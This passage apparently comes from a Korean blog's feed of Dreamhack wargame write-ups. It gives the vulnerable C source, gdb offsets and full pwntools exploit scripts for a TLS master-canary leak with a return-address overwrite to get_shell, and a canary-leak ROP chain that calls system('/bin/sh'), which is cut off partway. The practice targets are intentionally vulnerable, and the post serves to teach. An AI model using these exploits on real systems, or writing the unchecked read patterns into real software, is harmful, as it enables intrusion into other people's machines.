</span></span><span class="line"><span class="cl">    <span class="nf">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">alarm</span><span class="p">(</span><span class="mi">60</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">get_shell</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span><span class="nf">thread_routine</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">global_buffer</span> <span class="o">=</span> <span class="n">buf</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">read_bytes</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">sz</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">idx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">tmp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="n">sz</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">tmp</span> <span class="o">=</span> <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="n">idx</span><span class="p">],</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">tmp</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">idx</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">sz</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">pthread_t</span> <span class="kt">thread_t</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">idx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">leave_comment</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;1. Create thread</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;2. Input</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;3. Exit</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;&gt; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">idx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">switch</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="p">(</span><span class="nf">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="kt">thread_t</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">thread_routine</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nf">perror</span><span class="p">(</span><span class="s">&#34;thread create error&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Size: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Data: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="nf">read_bytes</span><span class="p">(</span><span class="n">global_buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Data: %s&#34;</span><span class="p">,</span> <span class="n">global_buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">3</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Leave comment: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">leave_comment</span><span class="p">,</span> <span class="mi">1024</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Nope</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>위 코드에서 유심히 봐야 할 부분은 case 1: 부분의 pthread_create 함수이다. thread_routine 함수에서는 size에 대한 검증이 없어 버퍼 오버플로우가 발생한다. 또한 스레드 함수인 thread_routine은 TLS와 인접하게 생성되므로 오버플로우를 통해서 TLS에 있는 마스터 카나리 값을 릭 할수 있는 취약점이 존재한다.</p>
<p>공격 시나리오를 생각해보자</p>
<p>우선 1번 메뉴를 통해 스레드를 생성한다. 여기서 thread_routine 함수의 size 미 검증으로 인한 버퍼 오버플로우 취약점이 발생한다. 함수 내부에서 사용되는 buf변후는 전역 변수인 global_buffer 포인터에 대입된다.</p>
<p>이후 2번 메뉴를 통해서 원하는 크기만큼 global_buffer에 값을 쓴다. 여기서 global_buffer는 스레드 함수에서 사용되어 TLS와 인접하게 생성된다. 따라서 buf에서 master canary까지의 거리를 구해 카나리 값 직전까지 덮으면 master canary의 값을 leak 할수 있다.</p>
<p>그 다음 3번 메뉴를 통해서 스텍 오버플로우를 일으킨다. 이때 2번 메뉴를 통해 leak한 canary를 사용해 리턴 주소를 get_shell() 로 바꾼다.</p>
<p>이 정도면 공격에 성공할 것 같다. 디버깅 하면서 하나씩 살펴보자.</p>
<p>gdb를 통해 확인 해 보면 thread_retine에서의 buf 값은 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0x400a75 &lt;thread_routine+26&gt;    lea    rax, [rbp - 0x110] 
</span></span><span class="line"><span class="cl">&lt;RAX  0x7ffff77eee40&gt;
</span></span></code></pre></div><p>이후 마스터 카나리의 위치를 계산하고 둘의 차를 구한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">pwndbg&gt; x/x $fs_base+0x28
</span></span><span class="line"><span class="cl">0x7ffff77ef728: 0x4ba9d200
</span></span><span class="line"><span class="cl">pwndbg&gt; x/x 0x7ffff77ef728-0x7ffff77eee40
</span></span><span class="line"><span class="cl">0x8e8:  Cannot access memory at address 0x8e8
</span></span></code></pre></div><p>둘의 차는 0x8e8이다. 다만 카나리 값이 하위 1바이트는 00이기 때문에 이 또한 오버라이트 해야지 printf가 00을 만나지 않고 카나리 값을 전부 leak 할 수 있다.</p>
<p>따라서 2번 메뉴를 통해 0x8e8+1 만큼의 size를 주고 A를 0x8e8+1개 입력해 릭 한다.</p>
<p>이후 main 함수에서 다음과 같은 부분을 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0x400c39 &lt;main+308&gt;:   lea    rax,[rbp-0x30]
</span></span></code></pre></div><p>이 부분은 3번 메뉴를 통해 값을 입력 받는 leave_comment 변수의 크기이다 0x30의 크기를 가지고 있으나 1024만큼 입력이 가능해 오버플로우가 발생한다.</p>
<p>따라서 A(40) + canary + B(8) + get_shell() 을 페이로드로 입력하면 공격에 성공한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host3.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">10039</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./iofile_vtable_check&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc.so.6&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./master_canary&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./master_canary&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#libc = ELF(&#34;./libc.so.6&#34;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">master_to_buf</span> <span class="o">=</span> <span class="mh">0x8e9</span>
</span></span><span class="line"><span class="cl"><span class="n">get_shell</span> <span class="o">=</span> <span class="mh">0x400a4a</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">master_to_buf</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="n">master_to_buf</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="n">master_to_buf</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">canary</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="o">+</span><span class="n">p</span><span class="o">.</span><span class="n">recvn</span><span class="p">(</span><span class="mi">7</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;canary : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;3&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mi">40</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;B&#34;</span><span class="o">*</span><span class="mi">8</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">get_shell</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;Leave comment: &#39;</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN rop</title><link>https://dig06161.github.io/2023/03/12/dreamhack-rop/</link><pubDate>Sun, 12 Mar 2023 17:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/03/12/dreamhack-rop/</guid><description>드림핵 포너블 rop 문제풀이</description><content:encoded><![CDATA[<p>오랜만에 풀어보는 ROP 문제다. 다만 기존에 풀었던 64비트 ROP에 canary가 첨가되어 있다.
압축 파일을 풀어보면 libc와 코드, 바이너리, 도커 파일이 들어있다. 도커파일 이미지를 다운받아 확인해 보니 ubuntu bionic으로 18.04 버전을 사용하고 있다.</p>
<p>해당 문제 소스코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// Name: rop.c
</span></span></span><span class="line"><span class="cl"><span class="c1">// Compile: gcc -o rop rop.c -fno-PIE -no-pie
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x30</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Leak canary
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;[1] Leak Canary&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Buf: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Buf: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Do ROP
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;[2] Input ROP payload&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Buf: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>코드는 매우 간단하다. [1] 섹션에서 카나리 값을 릭 하고 [2]에서 ROP를 일으키면 될것 같다.</p>
<p>버퍼의 크기는 0x30인데 0x100 길이의 값을 read함수로 받기 때문에 0x31만큼의 값을 주면 \x00 이 없어 카나리 7바이트와 입력한 마지막 1자리 값이 출력 될 것이다.</p>
<p>이후 릭한 카나리를 이용해서 ROP 공격을 시도한다. put plt를 이용해 read got 주소를 출력해 libc 베이스 주소를 구한다. 이후 libc의 system 함수 오프셋을 더해 /bin/sh를 인자로 하여 system 함수를 실행시키는 것이 내가 구상한 시나리오이다.</p>
<p>간단하게 익스플로잇 코드를 구성해보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host3.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">19094</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./rop&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc-2.27.so&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./house_of_force&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./rop&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./libc-2.27.so&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pr</span> <span class="o">=</span> <span class="mh">0x4007f3</span>
</span></span><span class="line"><span class="cl"><span class="n">read_got</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s2">&#34;read&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">puts_plt</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="p">[</span><span class="s2">&#34;puts&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">main_func</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s2">&#34;main&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;read got : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">read_got</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;puts plt : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">puts_plt</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;main func : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">main_func</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Buf: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mh">0x39</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mh">0x39</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">leak</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="o">+</span><span class="n">p</span><span class="o">.</span><span class="n">recvn</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">canary</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;leak canary : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mh">0x38</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400790</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">pr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">read_got</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">puts_plt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">main_func</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Input ROP payload</span><span class="se">\n</span><span class="s2">Buf: &#34;</span><span class="p">,</span> <span class="n">payload1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">leak_read_got</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00\x00</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc_base</span> <span class="o">=</span> <span class="n">leak_read_got</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s2">&#34;read&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s2">&#34;system&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">binsh</span> <span class="o">=</span> <span class="n">libc_base</span><span class="o">+</span><span class="nb">list</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;/bin/sh&#34;</span><span class="p">))[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;libc main : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;system : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">system</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;binsh : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Buf: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="mh">0x30</span><span class="p">)</span>
